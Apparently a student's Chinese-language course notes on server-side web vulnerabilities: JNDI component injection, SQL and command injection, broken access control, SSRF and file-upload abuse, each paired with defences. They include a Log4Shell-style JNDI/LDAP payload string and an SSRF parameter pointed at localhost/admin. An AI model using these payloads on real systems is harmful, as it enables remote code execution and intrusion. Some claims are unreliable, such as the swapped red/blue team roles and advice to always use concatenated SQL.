在这节课程中我学到了关于安全和漏洞的一些知识,由于我的专业原因,我对于有关安全的知识产生了极大兴趣,并有了一些收获见解。
漏洞简介
网络安全事件主要有4类:
- 数据泄漏
- 服务瘫痪
- 成果失窃
- 系统劫持
事实上,攻击者进行破坏的原因也是多种多样,可能是为了自身的利益,也可能带着某些政治因素或仅仅是为了单纯的炫技。网络安全从业者也有着2种不同方向,可以成为系统建设时候帮助企业提前规避漏洞的红军或者是反向验证企业内部安全现状并以攻促防的蓝军。
服务端漏洞
第三方组件漏洞
public void log() {
mylog( msg: "${jndi:ldap://10.76.13.36:1389.fvntf3}");
}
通过jndi指定到一个漏洞方的地址,会弹开一些应用、移动一些文件,或者下载一段恶意代码到本地去执行,对使用者造成危害,在解析json被第三方组件影响时造成的危害方式相同。
针对java可以选择使用dependency-check-maven检查项目以来的组件是否存在安全漏洞,这是一种有效防护措施。
SQL 注入
Sql是一种数据库查询和程序设计的语言,SQL语句静态模板和动态数据部分没有严格区分,如果在数据项中加入了某些SQL语句关键字(比如说 SELECT、DROP等等),这些SQL语句就很可以在数据库写入或读取数据时得到执行,造成用户隐私被查询。
为了防止SQL注入,尽量不要混淆代码,不要基于DB的Raw方法拼接构造SQL语句,而应该使用预编译、ORM框架。对于复杂的场景,一定要使用拼接SQL。
命令执行
代码中遇到需要调用某个命令才能完成的功能时候,会涉及到命令拼接,如果命令拼接没有做好安全过滤,那么将会导致命令注入风险,服务器权限将会被控制。 防护也很简单,对动态的值尽可能设置白名单,无法设置时需要尝试对数据类型进行校验。除此之外,要注重过滤或转义特殊字符黑名单。
越权漏洞
与前两种注入方式的漏洞不同,越权漏洞在实际业务方面遇到并且危害大。越权漏洞简单理解为跨越我应有的权限,实现所谓的权限溢出。越权漏洞通常可以分为3种:
- 未授权,即系统并没有做出认证系统;
- 水平越权,订单查询功能提供订单id即可查询订单详情,这里攻击者可以遍历orderId获取其他用户的订单信息;
- 竖直越权,攻击者可以通过开通另外的测试管理员账户抓包获取接口,或者通过逆向前端代码方式获取实际接口,然后绕过前端直接尝试访问后端接口,获取数据详情。
SSRF
SSRF又称服务端请求伪造攻击,指攻击者利用后端服务器为跳板,让后端服务向非预期网络地址(主要指内网地址)发出恶意请求,获取敏感信息或执行恶意操作。通过修改stockApi参数对应的网络地址进行对电脑内网的访问。如
stockApi=http%3A%2F%2Fstock. weliketoshop.net%3A8080%2Fproduct%2Fstockg2Fcheck%3FproductId%3D1%26storeId%3D1
改为
stockApi=http://localhost/admin
通过对url的host进行白名单过滤,获取对host解析的ip进行是否是内网地址的判定,可以进行有效的防护。
文件上传漏洞
找到公开的上传点(如视频创作/文章创作/客服反馈 等),上传恶意文件(恶意视频、图片),获取图片url,然后直接分享url至外部恶意网站或QQ/微信群。
攻击者通常贪图的是带宽或者cdn这样的点,使自己网站用户可以快速播放视频而不用花钱。
防护措施有限制文件类型、站库分离、防止图床等。
一点感悟
通过对网络服务端漏洞的初步的认识,不仅可以补足一些后端的知识,也加强了我们的的安全意识。同学们也可以在网上搜索更多有关漏洞的知识,很可能就解决了我们的某一次安全隐患。